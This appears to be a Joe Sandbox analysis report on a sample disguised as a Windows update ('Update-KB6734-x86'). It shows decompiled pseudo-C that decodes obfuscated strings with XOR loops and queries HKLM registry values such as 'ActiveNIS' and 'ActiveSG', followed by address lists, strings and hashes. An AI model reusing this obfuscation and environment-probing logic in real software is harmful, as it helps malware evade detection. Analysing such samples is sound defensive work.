				_v201 = 0xc0;
				_v200 = 0xf7;
				_v199 = 0x36;
				_v198 = 0x10;
				_v197 = 0xd0;
				_v196 = 0xcb;
				_v195 = 0xe6;
				_v194 = 0x63;
				_v224 = 0xbc;
				_v223 = 0x4d;
				_v221 = 0x23;
				_v220 = 0x7a;
				_v219 = 0xda;
				_v217 = 0xae;
				_v216 = 0x92;
				_v215 = 0x44;
				_v214 = 0x57;
				_v213 = 0xa5;
				_v212 = 0xa2;
				_v211 = 0x82;
				_v210 = 0x63;
				_t443 = 0;
				do {
					 *(_t578 + _t443 + 0x58) =  *(_t578 + _t443 + 0x58) ^  *(_t578 + _t443 + 0x48);
					 *(_t578 + _t443 + 0x59) =  *(_t578 + _t443 + 0x59) ^  *(_t578 + _t443 + 0x49);
					 *(_t578 + _t443 + 0x5a) =  *(_t578 + _t443 + 0x5a) ^  *(_t578 + _t443 + 0x4a);
					 *(_t578 + _t443 + 0x5b) =  *(_t578 + _t443 + 0x5b) ^  *(_t578 + _t443 + 0x4b);
					 *(_t578 + _t443 + 0x5c) =  *(_t578 + _t443 + 0x5c) ^  *(_t578 + _t443 + 0x4c);
					_t443 = _t443 + 5;
				} while (_t443 < 0xf);
				_t444 =  *0x431f34; // 0x32
				 *0x431f34 = _t444 + 0x32;
				_v246 = 0x78;
				_v240 = 0x78;
				_v252 = 0x4e;
				_v251 = 0x64;
				_v250 = 0x70;
				_v249 = 0x7c;
				_v248 = 0x73;
				_v247 = 0x69;
				_v245 = 0x7e;
				_v244 = 0x3d;
				_v243 = 0x5e;
				_v242 = 0x72;
				_v241 = 0x6f;
				_v239 = 0x3d;
				_v238 = 0x51;
				_v237 = 0x5e;
				_v236 = 0x1d;
				_t447 = 0;
				do {
					 *(_t578 + _t447 + 0x24) =  *(_t578 + _t447 + 0x24) ^ 0x0000001d;
					_t447 = _t447 + 1;
				} while (_t447 < 0x11);
				_v103 = 0xc3;
				_v99 = 0xc3;
				_v118 = 0xf1;
				_v92 = 0x94;
				_v80 = 0xf1;
				_v77 = 0x94;
				_v120 = 0x8a;
				_v119 = 0x26;
				_v117 = 0xa3;
				_v116 = 0xc8;
				_v115 = 0xed;
				_v114 = 0x36;
				_v113 = 0x1e;
				_v112 = 0x25;
				_v111 = 0x12;
				_v110 = 0x52;
				_v109 = 0x96;
				_v108 = 0xad;
				_v107 = 0x9e;
				_v106 = 0xbf;
				_v105 = 0x75;
				_v104 = 0xdd;
				_v102 = 0xce;
				_v101 = 0x7d;
				_v100 = 0xa8;
				_v98 = 0x95;
				_v97 = 0x7b;
				_v96 = 0xa8;
				_v95 = 0;
				_v94 = 0x35;
				_v93 = 0x16;
				_v91 = 0x19;
				_v90 = 0x2f;
				_v89 = 0xd6;
				_v88 = 0x67;
				_v87 = 0x14;
				_v86 = 0x50;
				_v85 = 0xf4;
				_v84 = 0x54;
				_v83 = 0x88;
				_v82 = 0xfc;
				_v79 = 0x60;
				_v78 = 0xc1;
				_v76 = 0xfb;
				_v75 = 0xaf;
				_v74 = 0x72;
				_v73 = 0x5d;
				_v72 = 0x1c;
				_v71 = 0x3f;
				_v70 = 0x62;
				_v69 = 0xd2;
				_v68 = 0x9b;
				_v67 = 0xa9;
				_v66 = 0x92;
				_v65 = 0x41;
				_v64 = 0x9b;
				_v63 = 0x85;
				_v62 = 0xfe;
				_v61 = 0x50;
				_v60 = 0x90;
				_v59 = 0xf4;
				_v58 = 0xac;
				_v57 = 0x3e;
				_v56 = 0x85;
				_v55 = 0x32;
				_v54 = 2;
				_v53 = 0x24;
				_v52 = 0xa0;
				_v51 = 0x28;
				_v50 = 0x6c;
				_v49 = 0xee;
				_v48 = 0x53;
				_v47 = 0x27;
				_v46 = 0x68;
				_v45 = 0xc6;
				_v44 = 0x6c;
				_v43 = 0xf5;
				_v42 = 0xfc;
				_t451 = 0;
				do {
					 *(_t578 + _t451 + 0xa8) =  *(_t578 + _t451 + 0xa8) ^  *(_t578 + _t451 + 0xd0);
					 *(_t578 + _t451 + 0xa9) =  *(_t578 + _t451 + 0xa9) ^  *(_t578 + _t451 + 0xd1);
					 *(_t578 + _t451 + 0xaa) =  *(_t578 + _t451 + 0xaa) ^  *(_t578 + _t451 + 0xd2);
					_t451 = _t451 + 3;
				} while (_t451 < 0x27);
				_t452 =  *0x431f38; // 0x2d2c
				_t502 =  *0x431f34; // 0x32
				 *0x431f34 = _t502 + 0x32;
				_v216 = 0x41;
				_v215 = 0x63;
				_v214 = 0x74;
				_v213 = 0x69;
				_v212 = 0x76;
				_v211 = 0x65;
				_v210 = 0x4e;
				_v209 = 0x49;
				_v208 = 0x53;
				_v207 = 0;
				 *0x431f38 = _t452 + 0x442;
				_v264 = 0xff;
				_v260 = 0;
				_v268 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t466 = RegOpenKeyExA(0x80000002,  &_v152, 0, 1,  &_v272); // executed
				if(_t466 == 0) {
					_t504 = _v256;
				} else {
					_t490 = GetLastError();
					_t504 = _v256;
					 *(_t504 + 0x74) = _t490;
				}
				if(RegQueryValueExA(_v272, _t562, 0,  &_v260, _v268,  &_v264) == 0) {
					 *((intOrPtr*)(_t504 + 0x70)) = 0x17;
					 *(_t504 + 0x78) = 1;
				} else {
					 *(_t504 + 0x74) = GetLastError();
				}
				RegCloseKey(_v272);
				_t471 = RegOpenKeyExA(0x80000002, _t575, 0, 1,  &_v272); // executed
				if(_t471 != 0) {
					 *(_t504 + 0x74) = GetLastError();
				}
				_t474 = RegQueryValueExA(_v272,  &_v200, 0,  &_v260, _v268,  &_v264);
				_t576 = _t575 | 0xffffffff;
				if(_t474 == 0) {
					_push(_v268);
					 *0x431f34 = 0x6d;
					_t569 =  &_v120;
					_t475 = E0042CFCE(_t504, 0x7d6, _t569, __eflags);
					while(1) {
						_t553 =  *_t475;
						_t527 = _t553;
						__eflags = _t553 -  *_t569;
						if(_t553 !=  *_t569) {
							break;
						}
						__eflags = _t527;
						if(_t527 == 0) {
							L23:
							_t475 = 0;
							L25:
							__eflags = _t475;
							if(_t475 == 0) {
								 *(_t504 + 0x64) = 0x7d6;
							}
							goto L27;
						}
						_t560 =  *((intOrPtr*)(_t475 + 1));
						_t539 = _t560;
						__eflags = _t560 -  *((intOrPtr*)(_t569 + 1));
						if(_t560 !=  *((intOrPtr*)(_t569 + 1))) {
							break;
						}
						_t475 = _t475 + 2;
						_t569 = _t569 + 2;
						__eflags = _t539;
						if(_t539 != 0) {
							continue;
						}
						goto L23;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L25;
				} else {
					 *(_t504 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L27:
					_t528 =  *0x431f30;
					_t554 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t477 = 0x77 - _t528;
					 *0x431f38 = _t477;
					 *0x431f34 = (_t477 & 0x0000ffff) << 2;
					_t531 = _t528 + _t554 + 0x0000000b & 0x00000016;
					if( *(_t504 + 0x64) != 0x7d6) {
						 *(_t504 + 0x64) = _t576;
						 *(_t504 + 0x68) = _t576;
						 *(_t504 + 0x6c) = _t576;
						_t477 =  *0x431f38; // 0x2d2c
					}
					_t570 =  *0x431f2c; // 0x0
					 *0x431f2c = _t570 & _t531 * (_t477 & 0x0000ffff) - 0x00000043;
					_t423 = _t504 + 0x74; // 0x173
					_t572 = _t423;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t504 + 0x7c)) = E0041F020( &_v252, _t423);
					 *((intOrPtr*)(_t504 + 0x80)) = E0041F100(_t504,  &_v224, _t572);
					HeapFree(GetProcessHeap(), 0, _v284);
					RegCloseKey(_v288);
					return E00424873(0, _v20);
				}
			}

0x00420570
0x00420576
0x0042057b
0x00420586
0x0042058a
0x0042058e
0x00420594
0x0042059d
0x0042059e
0x004205a5
0x004205ab
0x004205ac
0x004205b3
0x004205b7
0x004205be
0x004205c2
0x004205c6
0x004205ce
0x004205d6
0x004205de
0x004205e6
0x004205ee
0x004205f6
0x004205fe
0x00420606
0x0042060e
0x00420616
0x0042061e
0x00420626
0x0042062e
0x00420636
0x0042063e
0x00420646
0x0042064e
0x00420656
0x0042065e
0x00420666
0x0042066e
0x00420676
0x0042067e
0x00420686
0x0042068e
0x00420696
0x0042069e
0x004206a3
0x004206a8
0x004206ad
0x004206b2
0x004206b7
0x004206bc
0x004206c1
0x004206c6
0x004206cb
0x004206d0
0x004206d5
0x004206da
0x004206df
0x004206e4
0x004206e9
0x004206ed
0x004206f2
0x004206f7
0x004206fc
0x00420701
0x00420706
0x0042070b
0x00420710
0x00420715
0x0042071a
0x0042071f
0x00420724
0x00420729
0x0042072b
0x00420730
0x00420734
0x0042073f
0x0042074a
0x00420755
0x00420768
0x0042076b
0x0042076f
0x00420776
0x0042077f
0x00420783
0x00420787
0x0042078b
0x00420791
0x00420796
0x0042079a
0x004207a0
0x004207a4
0x004207b4
0x004207b9
0x004207be
0x004207c3
0x004207c8
0x004207cd
0x004207d2
0x004207d7
0x004207dc
0x004207e1
0x004207e6
0x004207eb
0x004207f0
0x004207f5
0x004207fa
0x004207ff
0x00420804
0x00420809
0x0042080e
0x00420813
0x00420818
0x0042081c
0x00420821
0x00420826
0x0042082a
0x0042082f
0x00420834
0x00420839
0x0042083d
0x00420842
0x0042084b
0x0042084d
0x00420855
0x0042085c
0x00420864
0x0042086c
0x00420874
0x0042087c
0x00420884
0x0042088c
0x00420894
0x0042089c
0x004208a4
0x004208ac
0x004208b4
0x004208bc
0x004208c4
0x004208cc
0x004208d4
0x004208db
0x004208e3
0x004208eb
0x004208f3
0x004208fb
0x00420903
0x0042090b
0x00420912
0x0042091a
0x00420922
0x0042092a
0x00420932
0x00420943
0x00420947
0x00420955
0x0042095d
0x00420965
0x0042096d
0x00420975
0x0042097d
0x00420982
0x00420987
0x0042098c
0x00420991
0x00420996
0x0042099b
0x004209a0
0x004209a5
0x004209aa
0x004209af
0x004209b4
0x004209b9
0x004209be
0x004209c3
0x004209c8
0x004209cd
0x004209d2
0x004209d7
0x004209dc
0x004209e1
0x004209e6
0x004209eb
0x004209f0
0x004209f5
0x004209fa
0x004209ff
0x00420a04
0x00420a09
0x00420a0e
0x00420a13
0x00420a18
0x00420a1d
0x00420a22
0x00420a2c
0x00420a32
0x00420a36
0x00420a3a
0x00420a3f
0x00420a44
0x00420a49
0x00420a4e
0x00420a53
0x00420a57
0x00420a5c
0x00420a61
0x00420a66
0x00420a6a
0x00420a6f
0x00420a74
0x00420a79
0x00420a7e
0x00420a83
0x00420a88
0x00420a8d
0x00420a92
0x00420a97
0x00420a9c
0x00420aa1
0x00420aa6
0x00420aab
0x00420ab0
0x00420ab5
0x00420aba
0x00420abf
0x00420ac4
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

P, xrefs: 0042064E
/, xrefs: 00420C7D
z, xrefs: 00420A92
S, xrefs: 00420606
^, xrefs: 004206B7
r, xrefs: 00420CE5
i, xrefs: 0042066E
5, xrefs: 00420C65
, xrefs: 0042067E
Q, xrefs: 00420B57
I, xrefs: 00420E99
s, xrefs: 00420B2F
h, xrefs: 00420DC3
M, xrefs: 004207C8
0, xrefs: 00420686
e, xrefs: 00420E8F
H, xrefs: 004206AD
b, xrefs: 00420724
P, xrefs: 00420C9D
7, xrefs: 004206FC
?, xrefs: 004207EB
], xrefs: 00420CED
&, xrefs: 004206C6
8, xrefs: 00420A3F
N, xrefs: 00420626
', xrefs: 00420DBB
1, xrefs: 0042091A
^, xrefs: 00420B5C
2, xrefs: 00420D7C
c, xrefs: 00420A7E
, xrefs: 004206DF
P, xrefs: 0042071A
=, xrefs: 00420B52
o, xrefs: 00420A1D
*, xrefs: 00420656
p, xrefs: 0042068E
|, xrefs: 004205E6
b, xrefs: 00420D05
r, xrefs: 004209D2
u, xrefs: 00420A09
a, xrefs: 004209BE
>, xrefs: 00420D6C
g, xrefs: 00420C8D
T, xrefs: 00420CAD
S, xrefs: 00420DB3
i, xrefs: 00420B34
, xrefs: 004209FA
N, xrefs: 00420E94
N, xrefs: 00420B1B
r, xrefs: 00420A13
z, xrefs: 004208A4
s, xrefs: 004209FF
`, xrefs: 00420CC5
{, xrefs: 004209B4
f, xrefs: 00420864
p, xrefs: 00420B25
h, xrefs: 004209DC
\, xrefs: 004208AC
v, xrefs: 00420676
T, xrefs: 004205C6
M, xrefs: 00420A88
d, xrefs: 0042096D
P, xrefs: 00420D4C
P, xrefs: 004205F6
|, xrefs: 00420B2A
D, xrefs: 004206CB
%, xrefs: 00420BE6
o, xrefs: 00420B4D
?, xrefs: 00420CFD
m, xrefs: 004208B4
d, xrefs: 00420B20
#, xrefs: 004206A3
), xrefs: 0042060E
t, xrefs: 004209F0
#, xrefs: 00420A8D
s|pd, xrefs: 0042094C
R, xrefs: 00420BF6
=, xrefs: 00420B3E
$, xrefs: 004206F7
N, xrefs: 004207E1
k, xrefs: 004207B4
~, xrefs: 0042087C
W, xrefs: 00420A49
q, xrefs: 0042089C
}, xrefs: 00420C36
r, xrefs: 00420B48
~, xrefs: 004208E3
u, xrefs: 00420C1E
i, xrefs: 00420E85
8, xrefs: 00420874
j, xrefs: 00420903
$, xrefs: 00420D8C
&, xrefs: 00420BB7
`, xrefs: 004207CD
^c, xrefs: 00420751
(, xrefs: 00420D9C
|, xrefs: 004205CE
{, xrefs: 00420C4D
c, xrefs: 00420E7B
~, xrefs: 00420B39
t, xrefs: 00420E80
v, xrefs: 00420E8A
;, xrefs: 004209CD
S, xrefs: 00420E9E
g, xrefs: 004209C8
^, xrefs: 00420B43
&, xrefs: 004206DA

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $ $ $#$#$$$$$%$&$&$&$'$($)$*$/$0$1$2$5$7$8$8$;$=$=$>$?$?$D$H$I$M$M$N$N$N$N$P$P$P$P$P$Q$R$S$S$S$T$T$W$\$]$^$^$^$^c$`$`$a$b$b$c$c$d$d$e$f$g$g$h$h$i$i$i$j$k$m$o$o$p$p$q$r$r$r$r$s$s$s|pd$t$t$u$u$v$v$z$z${${$|$|$|$}$~$~$~
API String ID: 0-2533205990
Opcode ID: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction ID: 40aa9fcbbacb4e662069c3f6a830727ea6aa88fb999cbe6da6f2476ebe5119cf
Opcode Fuzzy Hash: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction Fuzzy Hash: D962C32010D7C189D332C77C984879FBFD15BA7228F584A9DE1E85B2E3D2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD50, Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 368
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0041FD50(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t233;
				void* _t237;
				signed short _t245;
				long _t258;
				signed int _t262;
				void* _t265;
				void* _t266;
				signed int _t267;
				void* _t269;
				intOrPtr _t280;
				intOrPtr _t281;
				intOrPtr _t282;
				void* _t287;
				signed int _t294;
				signed int _t297;
				signed char _t298;
				signed char _t300;
				signed char _t323;
				signed int _t326;
				void* _t330;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed short _t336;
				signed int _t339;
				char* _t341;
				void* _t343;
				void* _t344;
				void* _t345;

				_t233 =  *0x4310d8; // 0xa9302559
				 *((intOrPtr*)(_t343 + 0xb4)) = _t233;
				_push(__esi);
				_push(__edi);
				_t330 = __ecx;
				 *((char*)(_t343 + 0x44)) = 0x92;
				 *((char*)(_t343 + 0x4a)) = 0x92;
				 *((char*)(_t343 + 0x53)) = 0x92;
				 *((char*)(_t343 + 0x34)) = 0x78;
				 *((char*)(_t343 + 0x43)) = 0x78;
				 *((char*)(_t343 + 0x4e)) = 0xd2;
				 *((char*)(_t343 + 0x55)) = 0x85;
				 *((char*)(_t343 + 0x59)) = 0x85;
				 *((char*)(_t343 + 0x5e)) = 0xd2;
				 *((char*)(_t343 + 0x69)) = 0x78;
				 *((char*)(_t343 + 0x30)) = 0x7b;
				 *((char*)(_t343 + 0x31)) = 0x3a;
				 *((char*)(_t343 + 0x32)) = 0x59;
				 *((char*)(_t343 + 0x33)) = 0xfe;
				 *((char*)(_t343 + 0x35)) = 0xb0;
				 *((char*)(_t343 + 0x36)) = 0xb1;
				 *((char*)(_t343 + 0x37)) = 0x27;
				 *((char*)(_t343 + 0x38)) = 0x34;
				 *((char*)(_t343 + 0x39)) = 0xf8;
				 *((char*)(_t343 + 0x3a)) = 0x7f;
				 *((char*)(_t343 + 0x3b)) = 0x7a;
				 *(_t343 + 0x3c) = 6;
				 *((char*)(_t343 + 0x3d)) = 0x30;
				 *((char*)(_t343 + 0x3e)) = 0xcb;
				 *((char*)(_t343 + 0x3f)) = 0xef;
				 *((char*)(_t343 + 0x40)) = 0x87;
				 *((char*)(_t343 + 0x41)) = 0xae;
				 *((char*)(_t343 + 0x42)) = 0xc9;
				 *((char*)(_t343 + 0x45)) = 0x32;
				 *((char*)(_t343 + 0x46)) = 0xab;
				 *((char*)(_t343 + 0x47)) = 0x86;
				 *((char*)(_t343 + 0x48)) = 0x63;
				 *((char*)(_t343 + 0x49)) = 0x79;
				 *((char*)(_t343 + 0x4b)) = 0x5c;
				 *((char*)(_t343 + 0x4c)) = 0x91;
				 *((char*)(_t343 + 0x4d)) = 0xf3;
				 *((char*)(_t343 + 0x4f)) = 0xbf;
				 *((char*)(_t343 + 0x50)) = 0xb5;
				 *((char*)(_t343 + 0x51)) = 0x53;
				 *((char*)(_t343 + 0x52)) = 0xa2;
				 *((char*)(_t343 + 0x54)) = 0x76;
				 *((char*)(_t343 + 0x56)) = 0xd9;
				 *((char*)(_t343 + 0x57)) = 4;
				 *((char*)(_t343 + 0x58)) = 0x41;
				 *((char*)(_t343 + 0x5a)) = 0x70;
				 *((char*)(_t343 + 0x5b)) = 0x49;
				 *((char*)(_t343 + 0x5c)) = 0xf6;
				 *((char*)(_t343 + 0x5d)) = 0x7d;
				 *((char*)(_t343 + 0x5f)) = 0x94;
				 *((char*)(_t343 + 0x60)) = 0x4c;
				 *((char*)(_t343 + 0x61)) = 0x9d;
				 *((char*)(_t343 + 0x62)) = 0x33;
				 *((char*)(_t343 + 0x63)) = 0xc1;
				 *((char*)(_t343 + 0x64)) = 0xa1;
				 *((char*)(_t343 + 0x65)) = 0x3a;
				 *((char*)(_t343 + 0x66)) = 8;
				 *((char*)(_t343 + 0x67)) = 0x63;
				 *((char*)(_t343 + 0x68)) = 0x1d;
				 *((char*)(_t343 + 0x6a)) = 0xc1;
				 *((char*)(_t343 + 0x6b)) = 0x2f;
				 *((char*)(_t343 + 0x74)) = 0x28;
				 *((char*)(_t343 + 0x75)) = 0x75;
				 *((char*)(_t343 + 0x76)) = 0x1f;
				 *((char*)(_t343 + 0x77)) = 0xaa;
				 *((char*)(_t343 + 0x78)) = 0x2f;
				 *((char*)(_t343 + 0x79)) = 0xf1;
				 *((char*)(_t343 + 0x86)) = 0xaa;
				 *((char*)(_t343 + 0x87)) = 0x10;
				 *((char*)(_t343 + 0x8d)) = 0x10;
				 *((char*)(_t343 + 0x97)) = 0xc1;
				 *((char*)(_t343 + 0x8f)) = 0x2f;
				 *((char*)(_t343 + 0xaf)) = 0x2f;
				 *((char*)(_t343 + 0x7a)) = 0xe3;
				 *((char*)(_t343 + 0x7b)) = 0x62;
				 *((char*)(_t343 + 0x7c)) = 0x68;
				 *((char*)(_t343 + 0x7d)) = 0xab;
				 *((char*)(_t343 + 0x7e)) = 6;
				 *((char*)(_t343 + 0x7f)) = 0x1d;
				 *((char*)(_t343 + 0x80)) = 0x67;
				 *((char*)(_t343 + 0x81)) = 0x44;
				 *((char*)(_t343 + 0x82)) = 0xae;
				 *((char*)(_t343 + 0x83)) = 0xcf;
				 *((char*)(_t343 + 0x84)) = 0xd3;
				 *((char*)(_t343 + 0x85)) = 0xcb;
				 *((char*)(_t343 + 0x88)) = 0xfc;
				 *((char*)(_t343 + 0x89)) = 0x5d;
				 *((char*)(_t343 + 0x8a)) = 0xc7;
				 *((char*)(_t343 + 0x8b)) = 0xe9;
				 *((char*)(_t343 + 0x8c)) = 4;
				 *((char*)(_t343 + 0x8e)) = 0xf7;
				 *((char*)(_t343 + 0x90)) = 0xbd;
				 *((char*)(_t343 + 0x91)) = 0xd3;
				 *((char*)(_t343 + 0x92)) = 0x9b;
				 *((char*)(_t343 + 0x93)) = 0xd1;
				 *((char*)(_t343 + 0x94)) = 0xd6;
				 *((char*)(_t343 + 0x95)) = 0x7d;
				 *((char*)(_t343 + 0x96)) = 0xfe;
				 *((char*)(_t343 + 0x98)) = 0xf;
				 *((char*)(_t343 + 0x99)) = 0xe2;
				 *((char*)(_t343 + 0x9a)) = 0xb8;
				 *((char*)(_t343 + 0x9b)) = 0x70;
				 *((char*)(_t343 + 0x9c)) = 0x24;
				 *((char*)(_t343 + 0x9d)) = 0xa5;
				 *((char*)(_t343 + 0x9e)) = 0x20;
				 *((char*)(_t343 + 0x9f)) = 0x2c;
				 *((char*)(_t343 + 0xa0)) = 0x84;
				 *((char*)(_t343 + 0xa1)) = 0xe;
				 *((char*)(_t343 + 0xa2)) = 0xbd;
				 *((char*)(_t343 + 0xa3)) = 0xfa;
				 *((char*)(_t343 + 0xa4)) = 0x2d;
				 *((char*)(_t343 + 0xa5)) = 0xf1;
				 *((char*)(_t343 + 0xa6)) = 0x13;
				 *((char*)(_t343 + 0xa7)) = 0x87;
				 *((char*)(_t343 + 0xa8)) = 0xc8;
				 *((char*)(_t343 + 0xa9)) = 0x48;
				 *((char*)(_t343 + 0xaa)) = 0x6d;
				 *((char*)(_t343 + 0xab)) = 0x14;
				 *((char*)(_t343 + 0xac)) = 0x7c;
				 *((char*)(_t343 + 0xad)) = 0x14;
				 *((char*)(_t343 + 0xae)) = 0xad;
				_t237 = 0;
				do {
					 *(_t343 + _t237 + 0x30) =  *(_t343 + _t237 + 0x30) ^  *(_t343 + _t237 + 0x74);
					 *(_t343 + _t237 + 0x31) =  *(_t343 + _t237 + 0x31) ^  *(_t343 + _t237 + 0x75);
					 *(_t343 + _t237 + 0x32) =  *(_t343 + _t237 + 0x32) ^  *(_t343 + _t237 + 0x76);
					 *(_t343 + _t237 + 0x33) =  *(_t343 + _t237 + 0x33) ^  *(_t343 + _t237 + 0x77);
					 *(_t343 + _t237 + 0x34) =  *(_t343 + _t237 + 0x34) ^  *(_t343 + _t237 + 0x78);
					 *(_t343 + _t237 + 0x35) =  *(_t343 + _t237 + 0x35) ^  *(_t343 + _t237 + 0x79);
					_t237 = _t237 + 6;
				} while (_t237 < 0x3c);
				_t339 =  *0x431f34; // 0x32
				 *((char*)(_t343 + 0x73)) = 0xc4;
				 *((char*)(_t343 + 0x28)) = 0xc4;
				 *((char*)(_t343 + 0x2e)) = 0x14;
				_push(_t343 + 0x6c);
				 *0x431f34 = _t339 + 0x32;
				 *((char*)(_t343 + 0x70)) = 0x21;
				 *((char*)(_t343 + 0x71)) = 0x71;
				 *((char*)(_t343 + 0x72)) = 0xf5;
				 *((char*)(_t343 + 0x73)) = 0x65;
				 *((char*)(_t343 + 0x74)) = 0xc0;
				 *((char*)(_t343 + 0x75)) = 0x88;
				 *((char*)(_t343 + 0x76)) = 0xf4;
				 *((char*)(_t343 + 0x2d)) = 0x9a;
				 *((char*)(_t343 + 0x2e)) = 0xe7;
				 *((char*)(_t343 + 0x2f)) = 0xa9;
				 *((char*)(_t343 + 0x30)) = 0x16;
				 *((char*)(_t343 + 0x31)) = 0x87;
				 *((char*)(_t343 + 0x33)) = 0x77;
				_t341 = E0041E2E0(_t343 + 0x2c, 8);
				 *(_t343 + 0x1c) = 0x5f;
				 *((char*)(_t343 + 0x26)) = 0x5f;
				 *((char*)(_t343 + 0xb4)) = 0xe;
				 *((char*)(_t343 + 0xb5)) = 0xe7;
				 *((char*)(_t343 + 0xb6)) = 0x7b;
				 *((char*)(_t343 + 0xb7)) = 0x7f;
				 *((char*)(_t343 + 0xb8)) = 0x8c;
				 *((char*)(_t343 + 0xb9)) = 0x43;
				 *((char*)(_t343 + 0xba)) = 0x5b;
				 *((char*)(_t343 + 0xbb)) = 0xb2;
				 *((char*)(_t343 + 0xbc)) = 0x81;
				 *((char*)(_t343 + 0xbd)) = 0xb0;
				 *((char*)(_t343 + 0xbe)) = 0xce;
				 *((char*)(_t343 + 0x21)) = 0xc;
				 *((char*)(_t343 + 0x22)) = 0x61;
				 *((char*)(_t343 + 0x23)) = 2;
				 *((char*)(_t343 + 0x24)) = 0x51;
				 *((char*)(_t343 + 0x25)) = 0x34;
				 *((char*)(_t343 + 0x26)) = 0x46;
				 *((char*)(_t343 + 0x27)) = 0x30;
				 *((char*)(_t343 + 0x28)) = 0x59;
				 *((char*)(_t343 + 0x29)) = 0x3a;
				 *((intOrPtr*)(_t343 + 0x28)) = E0041E250(0xb, _t343 + 0x20, _t343 + 0xb0);
				_t245 =  *0x431f38; // 0x2d2c
				 *((char*)(_t343 + 0x24)) = 0x41;
				 *((char*)(_t343 + 0x25)) = 0x63;
				 *((char*)(_t343 + 0x26)) = 0x74;
				 *((char*)(_t343 + 0x27)) = 0x69;
				 *((char*)(_t343 + 0x28)) = 0x76;
				 *((char*)(_t343 + 0x29)) = 0x65;
				 *((char*)(_t343 + 0x2a)) = 0x53;
				 *((char*)(_t343 + 0x2b)) = 0x47;
				 *((char*)(_t343 + 0x2c)) = 0;
				 *0x431f38 = _t245 + 0x3d5;
				 *(_t343 + 0x20) = 0xff;
				 *(_t343 + 0x1c) = 0;
				_t287 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t333 = 0x3b26c; // executed
				_t258 = RegOpenKeyExA(0x80000002, _t343 + 0x3c, 0, 1, _t343 + 0x10); // executed
				if(_t258 != 0) {
					 *((intOrPtr*)(_t330 + 0x34)) = GetLastError();
					_t333 = 0x3004;
				}
